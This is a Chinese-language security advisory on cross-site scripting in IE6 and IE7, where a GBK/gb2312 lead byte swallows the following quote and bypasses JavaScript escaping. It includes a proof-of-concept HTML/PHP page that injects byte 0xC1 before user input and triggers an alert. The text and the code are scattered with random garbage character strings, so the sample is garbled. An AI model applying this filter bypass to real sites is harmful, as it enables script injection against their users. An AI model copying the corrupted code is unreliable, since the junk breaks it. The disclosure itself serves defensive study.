小心字符集导致浏览器软件跨站脚本攻击
在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。 T3r l,DX P1 Bypass某些js的检查规则 M%F'N3{~"K
qAFo}a t-|/S
2U'e0l d#q-o1P
HTML]"}7H2c+Dk8as-a A
[HEAD]l(^.~-Z t2Q| S1f
[TITLE]80sec test[/TITLE]p.T-N"kH,[Cj
[meta http-equiv="Content-Type" content="text/html; charset=gb2312" /]'gTKD d-}+c
[/HEAD]
[BODY]
[script]o-{4[? iz
window.onerror=function(){U5?J%p!Zr
alert('Vul');
return true;xJ%Ic0@H+p
}
[/script]*N/@A3HJJ t'f
[script]x='[?php echo chr(0xC1);?]';y='[User_IN_PUT]‘;[/script]_O"uDL.i
[/BODY]
[/HTML]
f!mB,W!yDz0RH,J